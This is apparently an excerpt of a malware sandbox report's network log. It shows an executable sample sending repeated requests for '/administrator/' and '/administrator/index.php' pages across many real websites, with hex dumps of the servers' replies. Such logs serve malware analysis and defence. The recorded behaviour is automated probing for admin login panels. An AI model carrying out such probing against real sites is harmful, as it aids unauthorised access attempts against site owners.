Nov 26, 2023 06:59:31.094053030 CET	1340	IN	Data Raw: b0 2e 7b 3e c2 c3 75 d8 53 70 3d 45 77 3d 01 cf 13 74 d6 13 b0 3c 5e 57 3d 01 c9 63 75 d4 93 51 6c d5 4d 15 0a 8a 65 48 6d fc e5 eb b7 85 7e b4 4c 9d 3a 05 90 97 d8 b7 d8 5c 27 f7 15 11 2a c8 29 86 a8 7c 6d da b2 2a 0e 26 e9 90 45 e8 3a ba ca 4b Data Ascii: .{>uSp=Ew=t<^W=cuQlMeHm~L:\')\|m&E:Kz<i?5/I^Xs~Qv)YtB,4K/rx,T%H5kBSQ^~2\fIYXrW:E5B5jr5 eG]F~
Nov 26, 2023 06:59:31.094065905 CET	1340	IN	Data Raw: 0a ed f4 25 a1 a9 a6 55 10 3d 79 26 c5 dd 48 1d 02 21 65 b7 b9 4f 78 41 40 10 76 d1 a2 27 ff ed cb 7f 07 f2 df a1 fc f7 14 61 a4 c1 df c8 c0 5b 08 5b 5a 90 8c 8a 5c f2 f3 77 05 6c b4 60 6b 92 29 90 f9 73 1f e1 fc 79 60 3d 0f ad e7 d3 e2 59 67 96 Data Ascii: %U=y&H!eOxA@v'a[[Z\wl`k)sy`=Yg?\-zZ>Ek"qv6Q\|$]EISEt4&aAh>HpYP9riT,9}iD8CZ='-NxZtq>Iyd5q,\|`+&3
Nov 26, 2023 06:59:31.094118118 CET	1340	IN	Data Raw: 87 5f 87 9f 80 85 3e 87 a7 2d 8d 29 39 fe 2b 1c 11 3b c5 19 97 d9 e5 5e 07 ac 6a be f0 ce 87 3e 10 08 3a fe 6c 15 c7 12 4d 95 aa 8b d9 c5 ec e2 d2 4c 0b 8c 70 80 95 25 8f f3 b2 84 ec 78 0a 47 9c 85 d9 6a 39 e5 65 f9 82 b8 70 40 62 65 70 4b 6f 2f Data Ascii: _>-)9+;^j>:lMLp%xGj9ep@bepKo/1VagJI"bd5rfLaltX5W"'-JSI(&B)d]`O:St^o;S[jjJ/%I"4%aj!M>Tj"-t&
Nov 26, 2023 06:59:31.094130993 CET	1340	IN	Data Raw: 14 60 84 be aa 0a b5 71 be c5 3a 4c 7d 70 fa 2f 66 db 85 e2 b0 b0 e6 99 34 0e b7 9a a0 67 9d b5 85 4d 83 4f 62 ca 85 1e c8 50 95 c8 6a f3 a9 f1 6e 12 e3 3b 92 91 c8 68 a0 70 c1 38 b8 51 96 95 7d 45 a7 d9 52 a0 c1 98 c9 1d dc c0 34 67 19 25 dc 62 Data Ascii: `q:L}p/f4gMObPjn;hp8Q}ER4g%b8?v\|+pV4B]JC#v;97S!N!/BlWjg)x=,9\V(4)K<=90++;TyY4yqpIedn%/U5i$<e,[k
Nov 26, 2023 06:59:31.094141960 CET	1340	IN	Data Raw: 9d b0 6b 86 c0 b0 43 f2 02 3f 92 c1 51 68 28 3f a3 c1 87 7b c9 e1 5e f4 f7 74 86 62 41 d0 f7 df a0 8b 0f d7 d6 f1 12 ea 10 3b 38 41 cc 9c 2e 01 76 00 9c 5c b5 f7 dc 8a 1b d8 55 96 33 ed 8e b9 6d b0 e6 80 0f b8 39 71 1d 4e 62 41 26 94 5c 80 d9 09 Data Ascii: kC?Qh(?{^tbA;8A.v\U3m9qNbA&\59H\_zO>x}_Sx>1y8!q%I!]gyKbgrhNcR6Nr$CksG)D.a~p7=J5K8&uhUh]1#
Nov 26, 2023 06:59:31.094153881 CET	1340	IN	Data Raw: d2 68 50 8a 06 1e 8f 72 3d d3 38 52 a6 13 c9 c0 78 02 3b 06 14 4e 29 4e b6 68 19 15 b8 9e db 26 60 14 d8 8a ae 64 88 94 be d4 5a 1c 55 6c d2 ce 30 16 d1 ff 37 3a 8a b5 89 9d e6 d1 4b 8f e2 b6 04 e5 ba ff d8 b1 c5 a2 18 01 21 ee 1b 8c 3d d3 6a 33 Data Ascii: hPr=8Rx;N)Nh&`dZUl07:K!=j3fCCi#C3+0i#[mL\f3D3#4cKCEzAI{Nh',FJB1AkqP,c
Nov 26, 2023 06:59:31.094166040 CET	1108	IN	Data Raw: be 93 d7 65 f1 e2 c9 6e db fc fe a5 3c df 1f 44 e6 0e f6 15 a8 95 a7 5f 0d 07 ab 59 fe 7c 22 d3 8c 08 71 f7 f3 82 09 e6 7f e4 76 eb aa 2f 29 7c f9 f3 c9 a2 9c 09 96 12 3f fd 34 8f 6a f8 a6 3f ff f9 74 19 53 13 2c 10 9b 59 79 fa 7f 03 49 31 b9 55 Data Ascii: en<D_Y\|"qv/)\|?4j?tS,YyI1Ub50'Ly(GO*QC{C]>h}YqP8j&#9Ryj?3n4Z,h8nrhv9_a0rkvFCJl4nM:
Nov 26, 2023 06:59:31.281455040 CET	74	IN	Data Raw: 61 0d 0a 03 00 04 20 5a 45 1e b9 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a ZE0
Nov 26, 2023 06:59:31.283158064 CET	294	OUT	GET /administrator/index.php HTTP/1.1 Host: hmichaelandco.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://hmichaelandco.com/administrator/
Nov 26, 2023 06:59:32.070030928 CET	455	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 x-powered-by: PHP/7.4.33 content-type: text/html; charset=UTF-8 expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 x-redirect-by: WordPress location: http://hmichaelandco.com/administrator/ content-length: 0 date: Sun, 26 Nov 2023 05:59:31 GMT server: LiteSpeed
Nov 26, 2023 06:59:32.073219061 CET	285	OUT	GET /administrator/ HTTP/1.1 Host: hmichaelandco.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://hmichaelandco.com/administrator/
Nov 26, 2023 06:59:32.909509897 CET	1340	IN	HTTP/1.1 404 Not Found Connection: Keep-Alive Keep-Alive: timeout=5, max=100 x-powered-by: PHP/7.4.33 content-type: text/html; charset=UTF-8 expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 link: <http://hmichaelandco.com/wp-json/>; rel="https://api.w.org/" content-length: 12182 content-encoding: gzip vary: Accept-Encoding date: Sun, 26 Nov 2023 05:59:32 GMT server: LiteSpeed Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 7d 6b 73 e3 36 b2 e8 67 b9 ea fc 07 0c 9d 58 d2 2c 49 51 2f 3f 64 cb 39 93 d9 64 93 53 c9 26 37 93 9c ad 5b 93 39 2a 88 84 24 cc 50 04 97 80 64 7b 3d fe 41 f7 6f dc 5f 76 ab f1 20 41 8a 7a f8 91 9c f3 e1 2a 95 31 09 02 dd 8d 46 a3 d1 00 ba 81 ab 57 11 0b c5 5d 4a d0 42 2c e3 eb a3 2b f8 83 62 9c cc c7 0e 49 bc df de 39 47 8d 34 23 33 7a 3b 76 d8 7c 84 16 42 a4 7c d4 e9 b0 79 ea 2f 49 27 e1 c7 0e 82 52 04 47 d7 47 57 4b 22 b0 cc e2 91 7f ae e8 7a ec bc 65 89 20 89 f0 7e bd 4b 89 83 42 f5 36 76 04 b9 15 1d c0 74 89 c2 05 ce 38 11 e3 df 7e fd d6 3b 77 50 e7 fa e8 e8 ea 95 e7 a1 1f d9 94 c6 04 bd 4b 49 48 67 34 44 3f 12 81 39 3a 41 df e2 35 0d 59 c2 91 e7 19 84 09 5e 92 b1 b3 a6 e4 26 65 99 b0 d0 dc d0 48 2c c6 11 59 d3 90 78 f2 c5 45 34 a1 82 e2 d8 e3 21 8e c9 b8 eb a2 25 be a5 cb d5 b2 48 58 71 92 c9 37 3c 8d c9 38 70 ae af 62 9a 7c 42 19 89 c7 0e 5f b0 4c 84 2b 81 80 06 07 2d 32 32 1b 3b c0 93 51 a7 b3 58 d2 70 81 49 8c 93 28 64 7e c8 96 9d 9b d4 d3 55 ee ac d2 98 e1 88 77 7a 41 2f e8 04 a7 79 66 3f 4d e6 25 0c 38 4d 63 e2 09 b6 0a 17 de 9f 88 84 d3 7f 11 3e 76 ba bd e0 b6 db 0b fe a4 9a 69 a4 67 a7 b7 67 a7 7f 2e ca ee b0 77 db 1d f6 5e 10 29 c8 ec 3f 58 16 fd 9c 11 ce d1 3b b1 9a cd a4 88 a2 2d bf 2b 1e 66 34 15 d7 47 5b be cb e4 ce 6b f4 bf d9 0a 85 38 41 38 8a d0 92 65 04 3a d1 8c ce 57 19 16 94 25 88 a5 f0 87 23 c1 d0 0d 99 ce 58 22 40 ce 48 86 a6 77 28 cd c8 9a b2 15 8f ef 50 44 66 34 a1 c9 1c 89 05 41 ff 20 d3 6f 59 22 de 4a 40 e8 86 8a 05 ba 63 ab 2c 87 f5 ba b3 93 28 3a 43 2d 04 2a 83 cd 2a a0 c6 e3 31 72 56 89 44 46 22 07 b5 d1 fd 4e 48 50 c7 32 31 63 94 90 1b f4 d3 f4 23 09 45 ab 7d b9 b3 f4 c3 ce af 25 b8 ef 9b 73 c6 e6 31 69 7e 40 63 74 3f c3 4b 1a 53 c2 47 e8 7d f3 47 96 08 4e b2 0c 8b 51 37 08 dc 5e 10 b8 fd 20 70 07 41 e0 0e 83 c0 3d 0d 02 f7 2c 08 dc f3 20 70 2f 82 c0 ed 06 01 15 38 a6 21 e4 d4 4f fd fc 69 90 3f 0d f3 a7 d3 fc e9 2c 7f 3a cf 9f 2e cc 53 d3 45 cd 9f 52 92 fc e5 1d 4e f8 c8 90 60 a3 af 43 b3 13 f8 09 5f 4d 41 b3 c6 58 d0 a4 f9 e1 e1 f2 68 27 c3 5a b3 55 12 82 30 b5 0e 69 b6 35 ce d0 cd 0c 8d 51 c4 c2 d5 92 24 c2 0f 33 82 05 f9 26 26 f0 d6 42 4d 25 df 4d b4 a7 15 41 06 6e 66 3e cf 42 34 46 4d 33 bc e0 8f f8 d6 57 6d 86 53 ca a5 36 85 b4 4e 4c a7 bc a3 25 bd d3 f5 87 7e df bc f9 1f 79 73 b7 c0 68 54 72 b4 1b a3 a6 1c 84 3e e2 35 d6 94 1e 54 18 f3 bb 44 52 2a b2 15 39 00 1f f0 89 db 6c 9a 13 a1 79 c4 bf be fb 15 cf ff 8e 97 c4 e6 d6 fb e0 c3 7e 42 b8 9f e2 8c 24 e2 ef 2c 22 3e 4d 38 c9 c4 d7 64 c6 32 d2 42 37 33 17 f1 7d 4c 7f 68 ef ea 5c 57 9d Data Ascii: }ks6gX,IQ/?d9dS&7[9$Pd{=Ao_v Az1FW]JB,+bI9G4#3z;v\|B\|y/I'RGGWK"ze ~KB6vt8~;wPKIHg4D?9:A5Y^&eH,YxE4!%HXq7<8pb\|B_L+-22;QXpI(d~UwzA/yf?M%8Mc>vigg.w^)?X;-+f4G[k8A8e:W%#X"@Hw(PDf4A oY"J@c,(:C-*1rVDF"NHP21c#E}%s1i~@ct?KSG}GNQ7^ pA=, p/8!Oi?,:.SERN`C_MAXh'ZU0i5Q$3&&BM%MAnf>B4FM3WmS6NL%~yshTr>5TDR9ly~B$,">M8d2B73}Lh\W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	55122	3.33.130.190	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:30.282030106 CET	229	OUT	GET /administrator/ HTTP/1.1 Host: gmailvz.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:30.380167007 CET	1340	IN	HTTP/1.1 200 OK Server: openresty Date: Sun, 26 Nov 2023 05:59:30 GMT Content-Type: text/html Content-Length: 1177 Last-Modified: Mon, 13 Nov 2023 23:35:06 GMT Connection: keep-alive ETag: "6552b2aa-499" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_EXWXi1Al8NLdGiK28PboMgqpixh1wQzt359tax0S8ljKgrnEC8oM7/8VbD5F4wO8qTRgIsVZO7srFpMd2fHTHw Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=10.116.88.101;Path=/;Max-Age=86400; Set-Cookie: country=;Path=/;Max-Age=86400; Set-Cookie: city="";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Accept-Ranges: bytes Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 64 73 65 6e 73 65 2f 64 6f 6d 61 69 6e 73 2f 63 61 66 2e 6a 73 3f 61 62 70 3d 31 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 6e 6f 73 63 72 69 70 74 3e 3c 73 74 79 6c 65 3e 23 63 6f 6e 74 65 6e 74 2d 6d 61 69 6e 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 3c 2f 73 74 79 6c 65 3e 3c 64 69 76 3e 46 6f 72 20 66 75 6c 6c 20 66 75 6e 63 74 69 6f 6e 61 6c 69 74 79 20 6f 66 20 74 68 69 73 20 73 69 74 65 20 69 74 20 69 73 20 6e 65 63 65 73 73 61 72 79 20 74 6f 20 65 6e 61 62 6c 65 20 4a 61 76 61 53 63 72 69 70 74 2e 20 48 65 72 65 20 61 72 65 20 74 68 65 20 3c 61 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></title><script src="https://www.google.com/adsense/domains/caf.js?abp=1" type="text/javascript"></script><noscript><style>#content-main{display:none}</style><div>For full functionality of this site it is necessary to enable JavaScript. Here are the <a target="_blank" rel="noopener noreferrer" href="https://
Nov 26, 2023 06:59:30.380182981 CET	216	IN	Data Raw: 77 77 77 2e 65 6e 61 62 6c 65 2d 6a 61 76 61 73 63 72 69 70 74 2e 63 6f 6d 2f 22 3e 69 6e 73 74 72 75 63 74 69 6f 6e 73 20 68 6f 77 20 74 6f 20 65 6e 61 62 6c 65 20 4a 61 76 61 53 63 72 69 70 74 20 69 6e 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 Data Ascii: www.enable-javascript.com/">instructions how to enable JavaScript in your web browser</a>.</div></noscript><script type="application/javascript">window.LANDER_SYS
Nov 26, 2023 06:59:30.380198002 CET	507	IN	Data Raw: 54 45 4d 3d 22 50 57 22 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 61 62 70 3d 76 6f 69 64 20 30 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 Data Ascii: TEM="PW"</script><script type="text/javascript">var abp=void 0</script><script type="text/javascript" src="/px.js?ch=1&abp=1"></script><script type="text/javascript" src="/px.js?ch=2&abp=1"></script><script defer="defer" src="https://img1.wsim
Nov 26, 2023 06:59:30.383028984 CET	354	OUT	GET /administrator/index.php HTTP/1.1 Host: gmailvz.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=10.116.88.101; country=; city="" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://gmailvz.com/administrator/
Nov 26, 2023 06:59:30.395849943 CET	507	IN	Data Raw: 54 45 4d 3d 22 50 57 22 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 61 62 70 3d 76 6f 69 64 20 30 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 Data Ascii: TEM="PW"</script><script type="text/javascript">var abp=void 0</script><script type="text/javascript" src="/px.js?ch=1&abp=1"></script><script type="text/javascript" src="/px.js?ch=2&abp=1"></script><script defer="defer" src="https://img1.wsim
Nov 26, 2023 06:59:30.482815981 CET	1340	IN	HTTP/1.1 200 OK Server: openresty Date: Sun, 26 Nov 2023 05:59:30 GMT Content-Type: text/html Content-Length: 1177 Last-Modified: Mon, 13 Nov 2023 23:35:06 GMT Connection: keep-alive ETag: "6552b2aa-499" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_TpTCkQnjIM8WoRaLl4gRKl5Nuh1La0LruAArh+H5Yso2IZxoq03VJSdWQ7GcckcP6PoaRdKPNo1aAf1js52uqA Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=10.116.88.101;Path=/;Max-Age=86400; Set-Cookie: country=;Path=/;Max-Age=86400; Set-Cookie: city="";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Accept-Ranges: bytes Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 64 73 65 6e 73 65 2f 64 6f 6d 61 69 6e 73 2f 63 61 66 2e 6a 73 3f 61 62 70 3d 31 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 6e 6f 73 63 72 69 70 74 3e 3c 73 74 79 6c 65 3e 23 63 6f 6e 74 65 6e 74 2d 6d 61 69 6e 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 3c 2f 73 74 79 6c 65 3e 3c 64 69 76 3e 46 6f 72 20 66 75 6c 6c 20 66 75 6e 63 74 69 6f 6e 61 6c 69 74 79 20 6f 66 20 74 68 69 73 20 73 69 74 65 20 69 74 20 69 73 20 6e 65 63 65 73 73 61 72 79 20 74 6f 20 65 6e 61 62 6c 65 20 4a 61 76 61 53 63 72 69 70 74 2e 20 48 65 72 65 20 61 72 65 20 74 68 65 20 3c 61 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></title><script src="https://www.google.com/adsense/domains/caf.js?abp=1" type="text/javascript"></script><noscript><style>#content-main{display:none}</style><div>For full functionality of this site it is necessary to enable JavaScript. Here are the <a target="_blank" rel="noopener noreferrer" href="https://
Nov 26, 2023 06:59:30.482831955 CET	216	IN	Data Raw: 77 77 77 2e 65 6e 61 62 6c 65 2d 6a 61 76 61 73 63 72 69 70 74 2e 63 6f 6d 2f 22 3e 69 6e 73 74 72 75 63 74 69 6f 6e 73 20 68 6f 77 20 74 6f 20 65 6e 61 62 6c 65 20 4a 61 76 61 53 63 72 69 70 74 20 69 6e 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 Data Ascii: www.enable-javascript.com/">instructions how to enable JavaScript in your web browser</a>.</div></noscript><script type="application/javascript">window.LANDER_SYS
Nov 26, 2023 06:59:30.482846975 CET	507	IN	Data Raw: 54 45 4d 3d 22 50 57 22 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 61 62 70 3d 76 6f 69 64 20 30 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 Data Ascii: TEM="PW"</script><script type="text/javascript">var abp=void 0</script><script type="text/javascript" src="/px.js?ch=1&abp=1"></script><script type="text/javascript" src="/px.js?ch=2&abp=1"></script><script defer="defer" src="https://img1.wsim
Nov 26, 2023 06:59:30.495923996 CET	507	IN	Data Raw: 54 45 4d 3d 22 50 57 22 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 61 62 70 3d 76 6f 69 64 20 30 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 Data Ascii: TEM="PW"</script><script type="text/javascript">var abp=void 0</script><script type="text/javascript" src="/px.js?ch=1&abp=1"></script><script type="text/javascript" src="/px.js?ch=2&abp=1"></script><script defer="defer" src="https://img1.wsim

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	55074	116.202.203.176	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:30.297380924 CET	232	OUT	GET /administrator/ HTTP/1.1 Host: eco-landeck.at Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:30.772099018 CET	632	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Sun, 26 Nov 2023 05:59:30 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: keep-alive Expires: Wed, 17 Aug 2005 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: cf3029587e3a3d4981114230eb79f8bf=uv13klcgs3ue90fr38be2g1fqe; path=/; secure; HttpOnly X-Content-Type-Options: nosniff Location: https://eco-landeck.at/administrator/ Last-Modified: Sun, 26 Nov 2023 05:59:30 GMT Strict-Transport-Security: max-age=63072000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	55099	185.135.132.105	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:30.300971985 CET	231	OUT	GET /administrator/ HTTP/1.1 Host: grantstech.io Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:30.480734110 CET	725	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:30 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 323 Connection: keep-alive Location: https://grantstech.io/administrator/ Cache-Control: max-age=0 Expires: Sun, 26 Nov 2023 05:59:30 GMT X-Cache-Status: MISS X-Cache-Key: http://grantstech.io/administrator/ Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 72 61 6e 74 73 74 65 63 68 2e 69 6f 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 67 72 61 6e 74 73 74 65 63 68 2e 69 6f 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://grantstech.io/administrator/">here</a>.</p><hr><address>Apache/2.4.56 (Debian) Server at grantstech.io Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	55104	109.168.109.224	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:30.369013071 CET	236	OUT	GET /administrator/ HTTP/1.1 Host: americanrecords.it Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:30.556797028 CET	430	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:30 GMT Server: Apache Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 184 Content-Type: text/html; charset=iso-8859-1 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8e cd 0e 82 30 10 84 ef 7d 8a 95 bb 2c 1a 8e 4d 0f f2 13 49 10 89 29 07 8f 98 d6 94 04 28 b6 45 e3 db 4b e1 e2 71 76 e6 9b 59 ba 4b af 09 bf d7 19 9c f9 a5 84 ba 39 95 45 02 c1 1e b1 c8 78 8e 98 f2 74 73 8e 61 84 98 55 01 23 54 b9 a1 67 54 c9 56 2c c2 75 ae 97 2c 8e 62 a8 b4 83 5c cf a3 a0 b8 1d 09 c5 35 44 1f 5a 7c 3d 77 60 7f 99 45 11 3a 31 ae 24 18 f9 9a a5 75 52 40 73 2b 01 5b 31 74 63 67 9d 69 9d 36 08 9f d6 c2 b8 70 4f cf 81 1e c1 a9 ce 82 95 e6 2d 4d 48 71 f2 3b eb c2 d2 e9 3f 23 3f 1d 55 df e9 d4 00 00 00 Data Ascii: M0},MI)(EKqvYK9ExtsaU#TgTV,u,b\5DZ\|=w`E:1$uR@s+[1tcgi6pO-MHq;?#?U
Nov 26, 2023 06:59:30.560234070 CET	296	OUT	GET /administrator/index.php HTTP/1.1 Host: americanrecords.it Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://americanrecords.it/administrator/
